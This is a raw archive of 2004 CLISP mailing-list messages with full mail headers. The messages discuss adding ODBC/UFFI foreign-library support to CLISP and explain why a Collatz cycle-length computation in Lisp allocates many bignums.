0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED 0.1 LINES_OF_YELLING_2 BODY: 2 WHOLE LINES OF YELLING DETECTED Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 14:55:11 2004 X-Original-Date: Wed, 28 Jul 2004 23:54:45 +0200 Hi, I think ODBC via FFI is an overseeable amout of work. I started working on it and will soon continue. You can find my sources (5 days of work yet) at www.atp-media.de\odbc-cl\odbc.zip. Andreas -----Ursprungliche Nachricht----- Von: clisp-list-admin@lists.sourceforge.net [mailto:clisp-list-admin@lists.sourceforge.net] Im Auftrag von Massimiliano Campagnoli Gesendet: Mittwoch, 28. Juli 2004 14:50 An: clisp-list@lists.sourceforge.net Betreff: [clisp-list] Feature request: ODBC support Dear all, finally I am back to lisp after years of boring C/C++ development. My current project is to port all the company ERP system from C++ with=20 desktop GUI to LISP with Web based GUI. Our choice went to CLISP because is stable, light and has an excellent=20 FCGI support. Unfortunately we are forced to use IBM DB/2 as relational database which is not accessible from CLISP directly and we have estimated a lot of effort to enable CLISP to access DB/2=20 through FFI calls. As you all probably know the CLSQL package requires UFFI and so does not work with CLISP. I am almost forced to move to CMUCL/SBCL or propretary implementation=20 (Allegro CL) to have ODBC/DB2 access. May I suggest the CLISP community to consider the possibility to=20 implement UFFI as a second foreign function interface in order to use=20 the good UFFI based packages out there ? Regards --=20 ING. MASSIMILIANO CAMPAGNOLI PAOLO ASTORI SRL VIA MIRABELLA, 9 28013 - GATTICO=20 ITALY =1A ------------------------------------------------------- This SF.Net email is sponsored by BEA Weblogic Workshop FREE Java Enterprise J2EE developer tools! Get your free copy of BEA WebLogic Workshop 8.1 today. http://ads.osdn.com/?ad_id=3D4721&alloc_id=3D10040&op=3Dclick _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list From pascal@informatimago.com Wed Jul 28 15:20:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bpwml-0006wg-7V for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 15:20:31 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bpwmk-0005on-6G for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 15:20:31 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 5DD38586E3; Thu, 29 Jul 2004 00:20:24 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 2EB104D5AB; Thu, 29 Jul 2004 00:20:21 +0200 (CEST) Message-ID: <16648.9893.736406.604566@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: , Bruno Haible , Joerg-Cyril Hoehle Subject: [clisp-list] Re: Feature request: ODBC support In-Reply-To: References: <4107A0F2.7080606@paoloastori.com> <16648.4761.779046.298545@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 15:21:14 2004 X-Original-Date: Thu, 29 Jul 2004 00:20:21 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-07-28 22:54:49 +0200]: > > > > I guess you did not try my UFFI for clisp? > > http://www.informatimago.com/develop/lisp/ > > Can't blame you, I've not tested myself yet... > > I consider this to be a very high priority item. > Is there any functionality which you need in CLISP to finish your port? The two functions remaining unimplemented are UFFI:LOAD-FOREIGN-LIBRARY and UFFI:FIND-FOREIGN-LIBRARY. I guess the later could be implemented portably, but the loading needs access to dlopen. I planed to have a dl module, but since clisp already uses dlopen when it's available for SYS::DYNLOAD-MODULES, perhaps you could publish an interface to dlopen, dlerror, dlsym, and dlclose random libraries. Otherwise, it needs to be tested, debugged, and used to know if other low level stuff is needed. If you leave these DLOPEN, DLERROR, DLSYM and DLCLOSE functions in the SYSTEM package, I guess it'd be nice to have a *FEATURE* symbol when they're present, or do you think it'd be better to test (FBOUNDP 'SYSTEM:DLOPEN)? -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From pascal@informatimago.com Wed Jul 28 15:24:48 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bpwqt-0007qf-Sa for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 15:24:47 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bpwqt-00011j-0r for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 15:24:47 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2ABB6586E4; Thu, 29 Jul 2004 00:24:45 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 6CB06383B8; Thu, 29 Jul 2004 00:24:43 +0200 (CEST) Message-ID: <16648.10154.838079.391307@thalassa.informatimago.com> To: Cc: clisp-list@lists.sourceforge.net, Bruno Haible , Joerg-Cyril Hoehle Subject: [clisp-list] Re: Feature request: ODBC support In-Reply-To: <16648.9893.736406.604566@thalassa.informatimago.com> References: <4107A0F2.7080606@paoloastori.com> <16648.4761.779046.298545@thalassa.informatimago.com> <16648.9893.736406.604566@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 15:25:06 2004 X-Original-Date: Thu, 29 Jul 2004 00:24:42 +0200 Pascal J.Bourguignon writes: > > Sam Steingold writes: > > > * Pascal J.Bourguignon [2004-07-28 22:54:49 +0200]: > > > > > > I guess you did not try my UFFI for clisp? > > > http://www.informatimago.com/develop/lisp/ > > > Can't blame you, I've not tested myself yet... > > > > I consider this to be a very high priority item. > > Is there any functionality which you need in CLISP to finish your port? > > The two functions remaining unimplemented are > UFFI:LOAD-FOREIGN-LIBRARY and UFFI:FIND-FOREIGN-LIBRARY. I guess the > later could be implemented portably, but the loading needs access to > dlopen. I planed to have a dl module, but since clisp already uses > dlopen when it's available for SYS::DYNLOAD-MODULES, perhaps you could > publish an interface to dlopen, dlerror, dlsym, and dlclose random > libraries. Forget it. The :LIBRARY clause of FFI:DEF-CALL-OUT should be enough! Unless there is need for loading a dynlib without explicitely calling a function in it (for its initialization code if there is?). -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@gnu.org Wed Jul 28 15:42:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bpx81-0003Ew-Ar for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 15:42:29 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bpx80-0006Lq-Ak for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 15:42:28 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6SMgGBY027515; Wed, 28 Jul 2004 18:42:17 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16648.10154.838079.391307@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Thu, 29 Jul 2004 00:24:42 +0200") References: <4107A0F2.7080606@paoloastori.com> <16648.4761.779046.298545@thalassa.informatimago.com> <16648.9893.736406.604566@thalassa.informatimago.com> <16648.10154.838079.391307@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Feature request: ODBC support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 15:43:04 2004 X-Original-Date: Wed, 28 Jul 2004 18:42:15 -0400 > * Pascal J.Bourguignon [2004-07-29 00:24:42 +0200]: > > Pascal J.Bourguignon writes: >> >> Sam Steingold writes: >> > > * Pascal J.Bourguignon [2004-07-28 22:54:49 +0200]: >> > > >> > > I guess you did not try my UFFI for clisp? >> > > http://www.informatimago.com/develop/lisp/ >> > > Can't blame you, I've not tested myself yet... >> > >> > I consider this to be a very high priority item. >> > Is there any functionality which you need in CLISP to finish your port? >> >> The two functions remaining unimplemented are >> UFFI:LOAD-FOREIGN-LIBRARY and UFFI:FIND-FOREIGN-LIBRARY. I guess the >> later could be implemented portably, but the loading needs access to >> dlopen. I planed to have a dl module, but since clisp already uses >> dlopen when it's available for SYS::DYNLOAD-MODULES, perhaps you could >> publish an interface to dlopen, dlerror, dlsym, and dlclose random >> libraries. > > Forget it. The :LIBRARY clause of FFI:DEF-CALL-OUT should be enough! indeed. when do you expect to submit your code to UFFI maintainers? Thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Whether pronounced "leenooks" or "line-uks", it's better than Windows. From pascal@informatimago.com Wed Jul 28 18:38:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BpzsC-0006w9-T0 for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 18:38:20 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BpzsC-0003U6-5Z for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 18:38:20 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id AC2A9586E3; Thu, 29 Jul 2004 03:38:16 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E00C54CE5A; Thu, 29 Jul 2004 03:38:14 +0200 (CEST) Message-ID: <16648.21766.837888.89289@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <4107A0F2.7080606@paoloastori.com> <16648.4761.779046.298545@thalassa.informatimago.com> <16648.9893.736406.604566@thalassa.informatimago.com> <16648.10154.838079.391307@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: UFFI/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 18:39:02 2004 X-Original-Date: Thu, 29 Jul 2004 03:38:14 +0200 Sam Steingold writes: > when do you expect to submit your code to UFFI maintainers? Depends on how much time I'll need to test and match it to the specifications. But it's not structured as a patch to the existing UFFI, but as an independant package implemented over clisp EXT, CUSTOM and FFI packages, implementing the same interface as The UFFI. As such, once completed, it could as well be distributed along with clisp. I've put it under the LGPL, let me know if you'd rather have it GPL'ed for inclusion with clisp (but I understand that LGPL is "weaker" than GPL). -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From elvin_peterson@yahoo.com Wed Jul 28 19:43:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bq0sp-0005Jf-5D for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 19:43:03 -0700 Received: from web52210.mail.yahoo.com ([206.190.39.92]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.34) id 1Bq0so-0002Y2-Jw for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 19:43:03 -0700 Message-ID: <20040729024257.29914.qmail@web52210.mail.yahoo.com> Received: from [202.83.41.252] by web52210.mail.yahoo.com via HTTP; Wed, 28 Jul 2004 19:42:57 PDT From: Elvin Peterson Subject: Re: [clisp-list] tail recursion optimization To: Clisp In-Reply-To: <16648.4534.984232.493699@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 19:44:02 2004 X-Original-Date: Wed, 28 Jul 2004 19:42:57 -0700 (PDT) --- "Pascal J.Bourguignon" wrote: > > Elvin Peterson writes: > > > > (defun three-n (n m) > > > > (cond > > > > ((= n 1) m) > > > > ((oddp n) (three-n (1+ (* 3 n)) (1+ m))) > > > > (t (three-n (/ n 2) (1+ m))))) > > > > > > > > This is what I get too. I have the following > code: > > > > (defun max-cycle-len (n m) > > (let ((max-len 0)) > > (dotimes (i (- m n) max-len) > > (setf max-len (max (three-n (+ i n) 1) > > max-len))))) > > > > Since this is purely iterative, shouldn't the > memory > > requirements be constant? However, I cannot run > this > > for values greater than 1,00,000, as it takes a > lot of > > time and space. > > Did you try to evaluate the complexity of three-n? > There is even yet no proof that it will terminate > for all integer input! Indeed there is no proof. I think it is an example problem in "A Gentle Introduction to Lisp". However, it has been verified for very large numbers, and in this case the limit is 1,000,000. > > > > This is a problem I found on this site: > > http://acm.uva.es/p/v1/100.html > > And they have stated that C/C++ solutions run in > time > > 0.00 for values of n,m close to 1,000,000. > > Same here in clisp: > > CL-USER> (time (max-cycle-len 1000000 1000010)) > > Real time: 0.001348 sec. > Run time: 0.0 sec. > Space: 0 Bytes > 259 > It will be much longer if you actually want to find the maximum length, i.e., (max-cycle-len 1 1000000) Thanks. __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From elvin_peterson@yahoo.com Wed Jul 28 19:53:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bq13F-0006X4-EC for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 19:53:49 -0700 Received: from web52210.mail.yahoo.com ([206.190.39.92]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1Bq13A-0002xb-Ha for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 19:53:45 -0700 Message-ID: <20040729025339.32545.qmail@web52210.mail.yahoo.com> Received: from [202.83.41.252] by web52210.mail.yahoo.com via HTTP; Wed, 28 Jul 2004 19:53:38 PDT From: Elvin Peterson Subject: Re: [clisp-list] Re: tail recursion optimization To: clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 28 19:54:01 2004 X-Original-Date: Wed, 28 Jul 2004 19:53:38 -0700 (PDT) --- Sam Steingold wrote: > > * Elvin Peterson > [2004-07-28 11:17:13 -0700]: > > > > (defun max-cycle-len (n m) > > (let ((max-len 0)) > > (dotimes (i (- m n) max-len) > > (setf max-len (max (three-n (+ i n) 1) > > max-len))))) > > > > Since this is purely iterative, shouldn't the > memory requirements be > > constant? However, I cannot run this for values > greater than > > 1,00,000, as it takes a lot of time and space. > > let us investigate: > > (defun cycle-length (n &optional (len 1) (top 0)) > (cond ((= n 1) (values len top)) > ((evenp n) (cycle-length (ash n -1) (1+ len) > (max top n))) > (t (let ((next (1+ (* 3 n)))) > (cycle-length next (1+ len) (max top > next)))))) > > (defun max-cycle-length (n m) > (loop :with arg :and len = 0 :and top :for i :from > n :to m :do > (multiple-value-bind (le to) (cycle-length i) > (when (> le len) (setq arg i len le top to))) > :finally (return (values arg len top)))) > > thus we are getting not just the max cycle-length, > but also the number > for which this maximum is achieved and the top > intermediate number in > the sequence whose length is the cycle-length. > > then let us see what data is actually allocated: > > (ext:times (max-cycle-length 1000000 4000000)) > > > Permanent Temporary > Class instances > bytes instances bytes > ----- --------- > --------- --------- --------- > BIGNUM 1 > 16 13346541 160531616 > ----- --------- > --------- --------- --------- > Total 1 > 16 13346541 160531616 > > Real time: 269.785242 sec. > Run time: 254.7262784 sec. > Space: 160566840 Bytes > GC: 18, GC time: 0.1702448 sec. > 3732423 ; > 597 ; > 294475592320 > > so, the max cycle-length is 597, it is achieved on > 3732423 and the > maximum number in the cycle is 294475592320 -- which > is a bignum! > > that's what you see in the TIMES output: there were > 13346541 temporary > BIGNUMs allocated (for all the numbers in the cycles > of all the integers > between 1000000 and 4000000) and a single permanent > bignum for the > return value. > > So the code operates in fixed stack space but it has > to cons up some > bignums. Does this mean that the output of times is not the actual maximum memory that is used by the function? > > Note that > > (integer-length 294475592320) ==> 39 > > i.e. 32-bit integers are insufficient to perform the > above calculations > (contrary to http://acm.uva.es/p/v1/100.html). So the performance problem is purely due to BIGNUM allocation? I suppose then the code will run very fast on a machine with 64 bit integers. > > E.g., > > (defun max-cycle-length (n m) > (loop :with arg :and len = 0 :and top :for i :from > n :to m :do > (multiple-value-bind (le to) (cycle-length i) > (when (> (integer-length to) 32) > (format t "~:D --> ~:D, ~:D~%" i le to)) > (when (> le len) (setq arg i len le top to))) > :finally (return (values arg len top)))) > > (max-cycle-length 500000 1000000) > 502,441 --> 333, 24,414,590,536 > 504,057 --> 196, 17,202,377,752 > 538,271 --> 178, 17,202,377,752 > 540,542 --> 408, 24,648,077,896 > 540,543 --> 408, 24,648,077,896 > 559,785 --> 165, 4,711,755,904 > 565,247 --> 328, 24,414,590,536 > 567,065 --> 191, 17,202,377,752 > 577,230 --> 390, 24,648,077,896 > 577,231 --> 390, 24,648,077,896 > 581,883 --> 204, 6,973,568,800 > 608,111 --> 403, 24,648,077,896 > 626,331 --> 509, 7,222,283,188 > 629,759 --> 160, 4,711,755,904 > 630,527 --> 240, 8,501,092,072 > 637,948 --> 186, 17,202,377,752 > 637,949 --> 186, 17,202,377,752 > 637,950 --> 186, 17,202,377,752 > 640,641 --> 416, 24,648,077,896 > 649,385 --> 385, 24,648,077,896 > 654,619 --> 199, 6,973,568,800 > 655,359 --> 292, 5,516,201,896 > 656,415 --> 292, 12,601,065,832 > 665,215 --> 442, 52,483,285,312 > 669,921 --> 336, 24,414,590,536 > 687,871 --> 380, 20,077,607,536 > 689,639 --> 212, 6,973,568,800 > 704,511 --> 243, 56,991,483,520 > 704,623 --> 504, 7,222,283,188 > 717,694 --> 181, 17,202,377,752 > 717,695 --> 181, 17,202,377,752 > 720,722 --> 411, 24,648,077,896 > 720,723 --> 411, 24,648,077,896 > 730,559 --> 380, 24,648,077,896 > 736,447 --> 194, 6,973,568,800 > 747,291 --> 248, 8,501,092,072 > 753,662 --> 331, 24,414,590,536 > 753,663 --> 331, 24,414,590,536 > 756,086 --> 194, 17,202,377,752 > 756,087 --> 194, 17,202,377,752 > 763,675 --> 318, 10,296,265,264 > 769,641 --> 393, 24,648,077,896 > 780,391 --> 331, 23,996,686,912 > 807,407 --> 176, 17,202,377,752 > 810,814 --> 406, 24,648,077,896 > 810,815 --> 406, 24,648,077,896 > 822,139 --> 344, 23,996,686,912 > 829,087 --> 194, 13,428,962,944 > 833,775 --> 357, 5,697,379,672 > 839,678 --> 163, 4,711,755,904 > 839,679 --> 163, 4,711,755,904 > 840,702 --> 243, 8,501,092,072 > 840,703 --> 243, 8,501,092,072 > 847,871 --> 326, 24,414,590,536 > 850,596 --> 189, 17,202,377,752 > 850,597 --> 189, 17,202,377,752 > 850,598 --> 189, 17,202,377,752 > 854,191 --> 419, 24,648,077,896 > 859,135 --> 313, 10,296,265,264 > 865,846 --> 388, 24,648,077,896 > 865,847 --> 388, 24,648,077,896 > 872,825 --> 202, 6,973,568,800 > 886,953 --> 445, 52,483,285,312 > 901,119 --> 251, 4,494,683,032 > 906,175 --> 445, 8,368,783,432 > 912,167 --> 401, 24,648,077,896 > 917,161 --> 383, 20,077,607,536 > 919,518 --> 215, 6,973,568,800 > 919,519 --> 215, 6,973,568,800 > 920,559 --> 308, 5,516,201,896 > 924,907 --> 339, 23,996,686,912 > 937,599 --> 339, 5,618,306,500 > 939,497 --> 507, 7,222,283,188 > 944,639 --> 158, 4,711,755,904 > 945,791 --> 238, 8,501,092,072 > 956,924 --> 184, 17,202,377,752 > 956,925 --> 184, 17,202,377,752 > 956,926 --> 184, 17,202,377,752 > 960,962 --> 414, 24,648,077,896 > 960,963 --> 414, 24,648,077,896 > 974,078 --> 383, 24,648,077,896 > 974,079 --> 383, 24,648,077,896 > 975,015 --> 321, 7,597,578,112 > 981,929 --> 197, 6,973,568,800 > 983,039 --> 290, 5,516,201,896 > 984,623 --> 290, 12,601,065,832 > 997,823 --> 440, 52,483,285,312 > > 837,799 ; > 525 ; > 2,974,984,576 > > note that max LEN and max TOP are achieved on > different arguments! This makes sense in light of the earlier explanation. Thanks for all the help! __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From pascal@informatimago.com Wed Jul 28 21:36:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bq2eA-0002Fa-SG for clisp-list@lists.sourceforge.net; Wed, 28 Jul 2004 21:36:02 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp 